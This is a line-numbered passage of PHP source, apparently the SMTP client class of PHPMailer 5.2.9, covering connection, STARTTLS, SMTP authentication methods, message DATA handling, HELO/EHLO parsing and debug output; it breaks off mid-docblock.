6802
6803 /**
6804 * The SMTP port to use if one is not specified.
6805 * @type integer
6806 */
6807 const DEFAULT_SMTP_PORT = 25;
6808
6809 /**
6810 * The maximum line length allowed by RFC 2822 section 2.1.1
6811 * @type integer
6812 */
6813 const MAX_LINE_LENGTH = 998;
6814
6815 /**
6816 * Debug level for no output
6817 */
6818 const DEBUG_OFF = 0;
6819
6820 /**
6821 * Debug level to show client -> server messages
6822 */
6823 const DEBUG_CLIENT = 1;
6824
6825 /**
6826 * Debug level to show client -> server and server -> client messages
6827 */
6828 const DEBUG_SERVER = 2;
6829
6830 /**
6831 * Debug level to show connection status, client -> server and server -> client messages
6832 */
6833 const DEBUG_CONNECTION = 3;
6834
6835 /**
6836 * Debug level to show all messages
6837 */
6838 const DEBUG_LOWLEVEL = 4;
6839
6840 /**
6841 * The PHPMailer SMTP Version number.
6842 * @type string
6843 * @deprecated Use the `VERSION` constant instead
6844 * @see SMTP::VERSION
6845 */
6846 public $Version = '5.2.9';
6847
6848 /**
6849 * SMTP server port number.
6850 * @type integer
6851 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6852 * @see SMTP::DEFAULT_SMTP_PORT
6853 */
6854 public $SMTP_PORT = 25;
6855
6856 /**
6857 * SMTP reply line ending.
6858 * @type string
6859 * @deprecated Use the `CRLF` constant instead
6860 * @see SMTP::CRLF
6861 */
6862 public $CRLF = "\r\n";
6863
6864 /**
6865 * Debug output level.
6866 * Options:
6867 * * self::DEBUG_OFF (`0`) No debug output, default
6868 * * self::DEBUG_CLIENT (`1`) Client commands
6869 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6870 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6871 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6872 * @type integer
6873 */
6874 public $do_debug = self::DEBUG_OFF;
6875
6876 /**
6877 * How to handle debug output.
6878 * Options:
6879 * * `echo` Output plain-text as-is, appropriate for CLI
6880 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6881 * * `error_log` Output to error log as configured in php.ini
6882 *
6883 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6884 * <code>
6885 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6886 * </code>
6887 * @type string|callable
6888 */
6889 public $Debugoutput = 'echo';
6890
6891 /**
6892 * Whether to use VERP.
6893 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6894 * @link http://www.postfix.org/VERP_README.html Info on VERP
6895 * @type boolean
6896 */
6897 public $do_verp = false;
6898
6899 /**
6900 * The timeout value for connection, in seconds.
6901 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6902 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6903 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6904 * @type integer
6905 */
6906 public $Timeout = 300;
6907
6908 /**
6909 * How long to wait for commands to complete, in seconds.
6910 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6911 * @type integer
6912 */
6913 public $Timelimit = 300;
6914
6915 /**
6916 * The socket for the server connection.
6917 * @type resource
6918 */
6919 protected $smtp_conn;
6920
6921 /**
6922 * Error message, if any, for the last call.
6923 * @type array
6924 */
6925 protected $error = array();
6926
6927 /**
6928 * The reply the server sent to us for HELO.
6929 * If null, no HELO string has yet been received.
6930 * @type string|null
6931 */
6932 protected $helo_rply = null;
6933
6934 /**
6935 * The set of SMTP extensions sent in reply to EHLO command.
6936 * Indexes of the array are extension names.
6937 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6938 * represents the server name. In case of HELO it is the only element of the array.
6939 * Other values can be boolean TRUE or an array containing extension options.
6940 * If null, no HELO/EHLO string has yet been received.
6941 * @type array|null
6942 */
6943 protected $server_caps = null;
6944
6945 /**
6946 * The most recent reply received from the server.
6947 * @type string
6948 */
6949 protected $last_reply = '';
6950
6951 /**
6952 * Output debugging info via a user-selected method.
6953 * @see SMTP::$Debugoutput
6954 * @see SMTP::$do_debug
6955 * @param string $str Debug string to output
6956 * @param integer $level The debug level of this message; see DEBUG_* constants
6957 * @return void
6958 */
6959 protected function edebug($str, $level = 0)
6960 {
6961 if ($level > $this->do_debug) {
6962 return;
6963 }
6964 //Avoid clash with built-in function names
6965 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6966 call_user_func($this->Debugoutput, $str, $this->do_debug);
6967 return;
6968 }
6969 switch ($this->Debugoutput) {
6970 case 'error_log':
6971 //Don't output, just log
6972 error_log($str);
6973 break;
6974 case 'html':
6975 //Cleans up output a bit for a better looking, HTML-safe output
6976 echo htmlentities(
6977 preg_replace('/[\r\n]+/', '', $str),
6978 ENT_QUOTES,
6979 'UTF-8'
6980 )
6981 . "<br>\n";
6982 break;
6983 case 'echo':
6984 default:
6985 //Normalize line breaks
6986 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6987 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6988 "\n",
6989 "\n \t ",
6990 trim($str)
6991 )."\n";
6992 }
6993 }
6994
6995 /**
6996 * Connect to an SMTP server.
6997 * @param string $host SMTP server IP or host name
6998 * @param integer $port The port number to connect to
6999 * @param integer $timeout How long to wait for the connection to open
7000 * @param array $options An array of options for stream_context_create()
7001 * @access public
7002 * @return boolean
7003 */
7004 public function connect($host, $port = null, $timeout = 30, $options = array())
7005 {
7006 static $streamok;
7007 //This is enabled by default since 5.0.0 but some providers disable it
7008 //Check this once and cache the result
7009 if (is_null($streamok)) {
7010 $streamok = function_exists('stream_socket_client');
7011 }
7012 // Clear errors to avoid confusion
7013 $this->error = array();
7014 // Make sure we are __not__ connected
7015 if ($this->connected()) {
7016 // Already connected, generate error
7017 $this->error = array('error' => 'Already connected to a server');
7018 return false;
7019 }
7020 if (empty($port)) {
7021 $port = self::DEFAULT_SMTP_PORT;
7022 }
7023 // Connect to the SMTP server
7024 $this->edebug(
7025 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
7026 self::DEBUG_CONNECTION
7027 );
7028 $errno = 0;
7029 $errstr = '';
7030 if ($streamok) {
7031 $socket_context = stream_context_create($options);
7032 //Suppress errors; connection failures are handled at a higher level
7033 $this->smtp_conn = @stream_socket_client(
7034 $host . ":" . $port,
7035 $errno,
7036 $errstr,
7037 $timeout,
7038 STREAM_CLIENT_CONNECT,
7039 $socket_context
7040 );
7041 } else {
7042 //Fall back to fsockopen which should work in more places, but is missing some features
7043 $this->edebug(
7044 "Connection: stream_socket_client not available, falling back to fsockopen",
7045 self::DEBUG_CONNECTION
7046 );
7047 $this->smtp_conn = fsockopen(
7048 $host,
7049 $port,
7050 $errno,
7051 $errstr,
7052 $timeout
7053 );
7054 }
7055 // Verify we connected properly
7056 if (!is_resource($this->smtp_conn)) {
7057 $this->error = array(
7058 'error' => 'Failed to connect to server',
7059 'errno' => $errno,
7060 'errstr' => $errstr
7061 );
7062 $this->edebug(
7063 'SMTP ERROR: ' . $this->error['error']
7064 . ": $errstr ($errno)",
7065 self::DEBUG_CLIENT
7066 );
7067 return false;
7068 }
7069 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7070 // SMTP server can take longer to respond, give longer timeout for first read
7071 // Windows does not have support for this timeout function
7072 if (substr(PHP_OS, 0, 3) != 'WIN') {
7073 $max = ini_get('max_execution_time');
7074 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7075 @set_time_limit($timeout);
7076 }
7077 stream_set_timeout($this->smtp_conn, $timeout, 0);
7078 }
7079 // Get any announcement
7080 $announce = $this->get_lines();
7081 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7082 return true;
7083 }
7084
7085 /**
7086 * Initiate a TLS (encrypted) session.
7087 * @access public
7088 * @return boolean
7089 */
7090 public function startTLS()
7091 {
7092 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7093 return false;
7094 }
7095 // Begin encrypted connection
7096 if (!stream_socket_enable_crypto(
7097 $this->smtp_conn,
7098 true,
7099 STREAM_CRYPTO_METHOD_TLS_CLIENT
7100 )) {
7101 return false;
7102 }
7103 return true;
7104 }
7105
7106 /**
7107 * Perform SMTP authentication.
7108 * Must be run after hello().
7109 * @see hello()
7110 * @param string $username The user name
7111 * @param string $password The password
7112 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7113 * @param string $realm The auth realm for NTLM
7114 * @param string $workstation The auth workstation for NTLM
7115 * @access public
7116 * @return boolean True if successfully authenticated.
7117 */
7118 public function authenticate(
7119 $username,
7120 $password,
7121 $authtype = null,
7122 $realm = '',
7123 $workstation = ''
7124 ) {
7125 if (!$this->server_caps) {
7126 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7127 return false;
7128 }
7129
7130 if (array_key_exists('EHLO', $this->server_caps)) {
7131 // SMTP extensions are available. Let's try to find a proper authentication method
7132
7133 if (!array_key_exists('AUTH', $this->server_caps)) {
7134 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7135 // 'at this stage' means that auth may be allowed after the stage changes
7136 // e.g. after STARTTLS
7137 return false;
7138 }
7139
7140 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7141 self::edebug(
7142 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7143 self::DEBUG_LOWLEVEL
7144 );
7145
7146 if (empty($authtype)) {
7147 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7148 if (in_array($method, $this->server_caps['AUTH'])) {
7149 $authtype = $method;
7150 break;
7151 }
7152 }
7153 if (empty($authtype)) {
7154 $this->error = array( 'error' => 'No supported authentication methods found' );
7155 return false;
7156 }
7157 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7158 }
7159
7160 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7161 $this->error = array( 'error' => 'The requested authentication method "'
7162 . $authtype . '" is not supported by the server' );
7163 return false;
7164 }
7165 } elseif (empty($authtype)) {
7166 $authtype = 'LOGIN';
7167 }
7168 switch ($authtype) {
7169 case 'PLAIN':
7170 // Start authentication
7171 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7172 return false;
7173 }
7174 // Send encoded username and password
7175 if (!$this->sendCommand(
7176 'User & Password',
7177 base64_encode("\0" . $username . "\0" . $password),
7178 235
7179 )
7180 ) {
7181 return false;
7182 }
7183 break;
7184 case 'LOGIN':
7185 // Start authentication
7186 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7187 return false;
7188 }
7189 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7190 return false;
7191 }
7192 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7193 return false;
7194 }
7195 break;
7196 case 'NTLM':
7197 /*
7198 * ntlm_sasl_client.php
7199 * Bundled with Permission
7200 *
7201 * How to telnet in windows:
7202 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7203 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7204 */
7205 require_once 'extras/ntlm_sasl_client.php';
7206 $temp = new stdClass();
7207 $ntlm_client = new ntlm_sasl_client_class;
7208 //Check that functions are available
7209 if (!$ntlm_client->Initialize($temp)) {
7210 $this->error = array('error' => $temp->error);
7211 $this->edebug(
7212 'You need to enable some modules in your php.ini file: '
7213 . $this->error['error'],
7214 self::DEBUG_CLIENT
7215 );
7216 return false;
7217 }
7218 //msg1
7219 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7220
7221 if (!$this->sendCommand(
7222 'AUTH NTLM',
7223 'AUTH NTLM ' . base64_encode($msg1),
7224 334
7225 )
7226 ) {
7227 return false;
7228 }
7229 //Though 0 based, there is a white space after the 3 digit number
7230 //msg2
7231 $challenge = substr($this->last_reply, 3);
7232 $challenge = base64_decode($challenge);
7233 $ntlm_res = $ntlm_client->NTLMResponse(
7234 substr($challenge, 24, 8),
7235 $password
7236 );
7237 //msg3
7238 $msg3 = $ntlm_client->TypeMsg3(
7239 $ntlm_res,
7240 $username,
7241 $realm,
7242 $workstation
7243 );
7244 // send encoded username
7245 return $this->sendCommand('Username', base64_encode($msg3), 235);
7246 case 'CRAM-MD5':
7247 // Start authentication
7248 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7249 return false;
7250 }
7251 // Get the challenge
7252 $challenge = base64_decode(substr($this->last_reply, 4));
7253
7254 // Build the response
7255 $response = $username . ' ' . $this->hmac($challenge, $password);
7256
7257 // send encoded credentials
7258 return $this->sendCommand('Username', base64_encode($response), 235);
7259 default:
7260 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7261 return false;
7262 }
7263 return true;
7264 }
7265
7266 /**
7267 * Calculate an MD5 HMAC hash.
7268 * Works like hash_hmac('md5', $data, $key)
7269 * in case that function is not available
7270 * @param string $data The data to hash
7271 * @param string $key The key to hash with
7272 * @access protected
7273 * @return string
7274 */
7275 protected function hmac($data, $key)
7276 {
7277 if (function_exists('hash_hmac')) {
7278 return hash_hmac('md5', $data, $key);
7279 }
7280
7281 // The following borrowed from
7282 // http://php.net/manual/en/function.mhash.php#27225
7283
7284 // RFC 2104 HMAC implementation for php.
7285 // Creates an md5 HMAC.
7286 // Eliminates the need to install mhash to compute a HMAC
7287 // by Lance Rushing
7288
7289 $bytelen = 64; // byte length for md5
7290 if (strlen($key) > $bytelen) {
7291 $key = pack('H*', md5($key));
7292 }
7293 $key = str_pad($key, $bytelen, chr(0x00));
7294 $ipad = str_pad('', $bytelen, chr(0x36));
7295 $opad = str_pad('', $bytelen, chr(0x5c));
7296 $k_ipad = $key ^ $ipad;
7297 $k_opad = $key ^ $opad;
7298
7299 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7300 }
7301
7302 /**
7303 * Check connection state.
7304 * @access public
7305 * @return boolean True if connected.
7306 */
7307 public function connected()
7308 {
7309 if (is_resource($this->smtp_conn)) {
7310 $sock_status = stream_get_meta_data($this->smtp_conn);
7311 if ($sock_status['eof']) {
7312 // The socket is valid but we are not connected
7313 $this->edebug(
7314 'SMTP NOTICE: EOF caught while checking if connected',
7315 self::DEBUG_CLIENT
7316 );
7317 $this->close();
7318 return false;
7319 }
7320 return true; // everything looks good
7321 }
7322 return false;
7323 }
7324
7325 /**
7326 * Close the socket and clean up the state of the class.
7327 * Don't use this function without first trying to use QUIT.
7328 * @see quit()
7329 * @access public
7330 * @return void
7331 */
7332 public function close()
7333 {
7334 $this->error = array();
7335 $this->server_caps = null;
7336 $this->helo_rply = null;
7337 if (is_resource($this->smtp_conn)) {
7338 // close the connection and cleanup
7339 fclose($this->smtp_conn);
7340 $this->smtp_conn = null; //Makes for cleaner serialization
7341 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7342 }
7343 }
7344
7345 /**
7346 * Send an SMTP DATA command.
7347 * Issues a data command and sends the msg_data to the server,
7348 * finializing the mail transaction. $msg_data is the message
7349 * that is to be send with the headers. Each header needs to be
7350 * on a single line followed by a <CRLF> with the message headers
7351 * and the message body being separated by and additional <CRLF>.
7352 * Implements rfc 821: DATA <CRLF>
7353 * @param string $msg_data Message data to send
7354 * @access public
7355 * @return boolean
7356 */
7357 public function data($msg_data)
7358 {
7359 //This will use the standard timelimit
7360 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7361 return false;
7362 }
7363
7364 /* The server is ready to accept data!
7365 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7366 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7367 * smaller lines to fit within the limit.
7368 * We will also look for lines that start with a '.' and prepend an additional '.'.
7369 * NOTE: this does not count towards line-length limit.
7370 */
7371
7372 // Normalize line breaks before exploding
7373 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7374
7375 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7376 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7377 * process all lines before a blank line as headers.
7378 */
7379
7380 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7381 $in_headers = false;
7382 if (!empty($field) && strpos($field, ' ') === false) {
7383 $in_headers = true;
7384 }
7385
7386 foreach ($lines as $line) {
7387 $lines_out = array();
7388 if ($in_headers and $line == '') {
7389 $in_headers = false;
7390 }
7391 //We need to break this line up into several smaller lines
7392 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7393 while (isset($line[self::MAX_LINE_LENGTH])) {
7394 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7395 //so as to avoid breaking in the middle of a word
7396 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7397 if (!$pos) { //Deliberately matches both false and 0
7398 //No nice break found, add a hard break
7399 $pos = self::MAX_LINE_LENGTH - 1;
7400 $lines_out[] = substr($line, 0, $pos);
7401 $line = substr($line, $pos);
7402 } else {
7403 //Break at the found point
7404 $lines_out[] = substr($line, 0, $pos);
7405 //Move along by the amount we dealt with
7406 $line = substr($line, $pos + 1);
7407 }
7408 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7409 if ($in_headers) {
7410 $line = "\t" . $line;
7411 }
7412 }
7413 $lines_out[] = $line;
7414
7415 //Send the lines to the server
7416 foreach ($lines_out as $line_out) {
7417 //RFC2821 section 4.5.2
7418 if (!empty($line_out) and $line_out[0] == '.') {
7419 $line_out = '.' . $line_out;
7420 }
7421 $this->client_send($line_out . self::CRLF);
7422 }
7423 }
7424
7425 //Message data has been sent, complete the command
7426 //Increase timelimit for end of DATA command
7427 $savetimelimit = $this->Timelimit;
7428 $this->Timelimit = $this->Timelimit * 2;
7429 $result = $this->sendCommand('DATA END', '.', 250);
7430 //Restore timelimit
7431 $this->Timelimit = $savetimelimit;
7432 return $result;
7433 }
7434
7435 /**
7436 * Send an SMTP HELO or EHLO command.
7437 * Used to identify the sending server to the receiving server.
7438 * This makes sure that client and server are in a known state.
7439 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7440 * and RFC 2821 EHLO.
7441 * @param string $host The host name or IP to connect to
7442 * @access public
7443 * @return boolean
7444 */
7445 public function hello($host = '')
7446 {
7447 //Try extended hello first (RFC 2821)
7448 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7449 }
7450
7451 /**
7452 * Send an SMTP HELO or EHLO command.
7453 * Low-level implementation used by hello()
7454 * @see hello()
7455 * @param string $hello The HELO string
7456 * @param string $host The hostname to say we are
7457 * @access protected
7458 * @return boolean
7459 */
7460 protected function sendHello($hello, $host)
7461 {
7462 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7463 $this->helo_rply = $this->last_reply;
7464 if ($noerror) {
7465 $this->parseHelloFields($hello);
7466 } else {
7467 $this->server_caps = null;
7468 }
7469 return $noerror;
7470 }
7471
7472 /**
7473 * Parse a reply to HELO/EHLO command to discover server extensions.
7474 * In case of HELO, the only parameter that can be discovered is a server name.
7475 * @access protected
7476 * @param string $type - 'HELO' or 'EHLO'
7477 */
7478 protected function parseHelloFields($type)
7479 {
7480 $this->server_caps = array();
7481 $lines = explode("\n", $this->last_reply);
7482 foreach ($lines as $n => $s) {
7483 $s = trim(substr($s, 4));
7484 if (!$s) {
7485 continue;
7486 }
7487 $fields = explode(' ', $s);
7488 if ($fields) {
7489 if (!$n) {
7490 $name = $type;
7491 $fields = $fields[0];
7492 } else {
7493 $name = array_shift($fields);
7494 if ($name == 'SIZE') {
7495 $fields = ($fields) ? $fields[0] : 0;
7496 }
7497 }
7498 $this->server_caps[$name] = ($fields ? $fields : true);
7499 }
7500 }
7501 }
7502
7503 /**
7504 * Send an SMTP MAIL command.
7505 * Starts a mail transaction from the email address specified in
7506 * $from. Returns true if successful or false otherwise. If True
7507 * the mail transaction is started and then one or more recipient
7508 * commands may be called followed by a data command.
7509 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7510 * @param string $from Source address of this message
7511 * @access public
7512 * @return boolean
7513 */
7514 public function mail($from)
7515 {
7516 $useVerp = ($this->do_verp ? ' XVERP' : '');
7517 return $this->sendCommand(
7518 'MAIL FROM',
7519 'MAIL FROM:<' . $from . '>' . $useVerp,
7520 250
7521 );
7522 }
7523
7524 /**
7525 * Send an SMTP QUIT command.
7526 * Closes the socket if there is no error or the $close_on_error argument is true.
7527 * Implements from rfc 821: QUIT <CRLF>
7528 * @param boolean $close_on_error Should the connection close if an error occurs?
7529 * @access public
7530 * @return boolean
7531 */
7532 public function quit($close_on_error = true)
7533 {
7534 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7535 $err = $this->error; //Save any error
7536 if ($noerror or $close_on_error) {
7537 $this->close();
7538 $this->error = $err; //Restore any error from the quit command
7539 }
7540 return $noerror;
7541 }
7542
7543 /**
7544 * Send an SMTP RCPT command.
7545 * Sets the TO argument to $toaddr.
7546 * Returns true if the recipient was accepted false if it was rejected.
7547 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7548 * @param string $toaddr The address the message is being sent to
7549 * @access public
7550 * @return boolean
7551 */
7552 public function recipient($toaddr)
7553 {
7554 return $this->sendCommand(
7555 'RCPT TO',
7556 'RCPT TO:<' . $toaddr . '>',
7557 array(250, 251)
7558 );
7559 }
7560
7561 /**
7562 * Send an SMTP RSET command.
7563 * Abort any transaction that is currently in progress.
7564 * Implements rfc 821: RSET <CRLF>
7565 * @access public
7566 * @return boolean True on success.
7567 */
7568 public function reset()
7569 {
7570 return $this->sendCommand('RSET', 'RSET', 250);
7571 }
7572
7573 /**
7574 * Send a command to an SMTP server and check its return code.
7575 * @param string $command The command name - not sent to the server
7576 * @param string $commandstring The actual command to send
7577 * @param integer|array $expect One or more expected integer success codes
7578 * @access protected
7579 * @return boolean True on success.
7580 */
7581 protected function sendCommand($command, $commandstring, $expect)
7582 {
7583 if (!$this->connected()) {
7584 $this->error = array(
7585 'error' => "Called $command without being connected"
7586 );
7587 return false;
7588 }
7589 $this->client_send($commandstring . self::CRLF);
7590
7591 $this->last_reply = $this->get_lines();
7592 // Fetch SMTP code and possible error code explanation
7593 $matches = array();
7594 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7595 $code = $matches[1];
7596 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7597 // Cut off error code from each response line
7598 $detail = preg_replace(
7599 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7600 '',
7601 $this->last_reply
7602 );
7603 } else { // Fall back to simple parsing if regex fails
7604 $code = substr($this->last_reply, 0, 3);
7605 $code_ex = null;
7606 $detail = substr($this->last_reply, 4);
7607 }
7608
7609 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7610
7611 if (!in_array($code, (array)$expect)) {
7612 $this->error = array(
7613 'error' => "$command command failed",
7614 'smtp_code' => $code,
7615 'smtp_code_ex' => $code_ex,
7616 'detail' => $detail
7617 );
7618 $this->edebug(
7619 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7620 self::DEBUG_CLIENT
7621 );
7622 return false;
7623 }
7624
7625 $this->error = array();
7626 return true;
7627 }
7628
7629 /**
7630 * Send an SMTP SAML command.
7631 * Starts a mail transaction from the email address specified in $from.
7632 * Returns true if successful or false otherwise. If True
7633 * the mail transaction is started and then one or more recipient
7634 * commands may be called followed by a data command. This command
7635 * will send the message to the users terminal if they are logged
7636 * in and send them an email.
7637 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7638 * @param string $from The address the message is from
7639 * @access public
7640 * @return boolean
7641 */
7642 public function sendAndMail($from)
7643 {
7644 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7645 }
7646
7647 /**
7648 * Send an SMTP VRFY command.
7649 * @param string $name The name to verify
7650 * @access public
7651 * @return boolean
7652 */
7653 public function verify($name)
7654 {
7655 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7656 }
7657
7658 /**
7659 * Send an SMTP NOOP command.
7660 * Used to keep keep-alives alive, doesn't actually do anything
7661 * @access public
7662 * @return boolean
7663 */
7664 public function noop()
7665 {
7666 return $this->sendCommand('NOOP', 'NOOP', 250);
7667 }
7668
7669 /**
7670 * Send an SMTP TURN command.
7671 * This is an optional command for SMTP that this class does not support.
7672 * This method is here to make the RFC821 Definition complete for this class
7673 * and _may_ be implemented in future
7674 * Implements from rfc 821: TURN <CRLF>
7675 * @access public
7676 * @return boolean
7677 */
7678 public function turn()
7679 {
7680 $this->error = array(
7681 'error' => 'The SMTP TURN command is not implemented'
7682 );
7683 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7684 return false;
7685 }
7686
7687 /**
7688 * Send raw data to the server.
7689 * @param string $data The data to send
7690 * @access public
7691 * @return integer|boolean The number of bytes sent to the server or false on error
7692 */
7693 public function client_send($data)
7694 {
7695 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7696 return fwrite($this->smtp_conn, $data);
7697 }
7698
7699 /**
7700 * Get the latest error.
7701 * @access public
7702 * @return array
7703 */
7704 public function getError()
7705 {
7706 return $this->error;
7707 }
7708
7709 /**
7710 * Get SMTP extensions available on the server
7711 * @access public
7712 * @return array|null
7713 */
7714 public function getServerExtList()
7715 {
7716 return $this->server_caps;
7717 }
7718
7719 /**
7720 * A multipurpose method
7721 * The method works in three ways, dependent on argument value and current state
7722 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7723 * 2. HELO was sent
7724 * $name = 'HELO': returns server name
7725 * $name = 'EHLO': returns boolean false
7726 * $name = any string: returns null and set up $this->error
7727 * 3. EHLO was sent
7728 * $name = 'HELO'|'EHLO': returns server name
7729 * $name = any string: if extension $name exists, returns boolean True
7730 * or its options. Otherwise returns boolean False
7731 * In other words, one can use this method to detect 3 conditions:
7732 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7733 * - false returned: the requested feature exactly not exists
7734 * - positive value returned: the requested feature exists
7735 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7736 * @return mixed
7737 */
7738 public function getServerExt($name)
7739 {
7740 if (!$this->server_caps) {
7741 $this->error = array('No HELO/EHLO was sent');
7742 return null;
7743 }
7744
7745 // the tight logic knot ;)
7746 if (!array_key_exists($name, $this->server_caps)) {
7747 if ($name == 'HELO') {
7748 return $this->server_caps['EHLO'];
7749 }
7750 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7751 return false;
7752 }
7753 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7754 return null;
7755 }
7756
7757 return $this->server_caps[$name];
7758 }
7759
7760 /**
7761 * Get the last reply from the server.
7762 * @access public
7763 * @return string
7764 */
7765 public function getLastReply()
7766 {
7767 return $this->last_reply;
7768 }
7769
7770 /**
7771 * Read the SMTP server's response.
7772 * Either before eof or socket timeout occurs on the operation.
7773 * With SMTP we can tell if we have more lines to read if the
7774 * 4th character is '-' symbol. If it is a space then we don't
7775 * need to read anything else.
7776 * @access protected
7777 * @return string
7778 */
7779 protected function get_lines()
7780 {
7781 // If the connection is bad, give up straight away
7782 if (!is_resource($this->smtp_conn)) {
7783 return '';
7784 }
7785 $data = '';
7786 $endtime = 0;
7787 stream_set_timeout($this->smtp_conn, $this->Timeout);
7788 if ($this->Timelimit > 0) {
7789 $endtime = time() + $this->Timelimit;
7790 }
7791 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7792 $str = @fgets($this->smtp_conn, 515);
7793 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7794 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7795 $data .= $str;
7796 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7797 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7798 if ((isset($str[3]) and $str[3] == ' ')) {
7799 break;
7800 }
7801 // Timed-out? Log and break
7802 $info = stream_get_meta_data($this->smtp_conn);
7803 if ($info['timed_out']) {
7804 $this->edebug(
7805 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7806 self::DEBUG_LOWLEVEL
7807 );
7808 break;
7809 }
7810 // Now check if reads took too long
7811 if ($endtime and time() > $endtime) {
7812 $this->edebug(
7813 'SMTP -> get_lines(): timelimit reached ('.
7814 $this->Timelimit . ' sec)',
7815 self::DEBUG_LOWLEVEL
7816 );
7817 break;
7818 }
7819 }
7820 return $data;
7821 }
7822
7823 /**
7824 * Enable or disable VERP address generation.
7825 * @param boolean $enabled
7826 */
7827 public function setVerp($enabled = false)
7828 {
7829 $this->do_verp = $enabled;
7830 }
7831
7832 /**
7833 * Get VERP address generation mode.
7834 * @return boolean
7835 */
7836 public function getVerp()
7837 {
7838 return $this->do_verp;
7839 }
7840
7841 /**
7842 * Set debug output method.
7843 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7844 */
7845 public function setDebugOutput($method = 'echo')
7846 {
7847 $this->Debugoutput = $method;
7848 }
7849
7850 /**
7851 * Get debug output method.
7852 * @return string
7853 */
7854 public function getDebugOutput()
7855 {
7856 return $this->Debugoutput;
7857 }
7858
7859 /**
7860 * Set debug output level.
7861 * @param integer $level
7862 */
7863 public function setDebugLevel($level = 0)
7864 {
7865 $this->do_debug = $level;
7866 }
7867
7868 /**
7869 * Get debug output level.
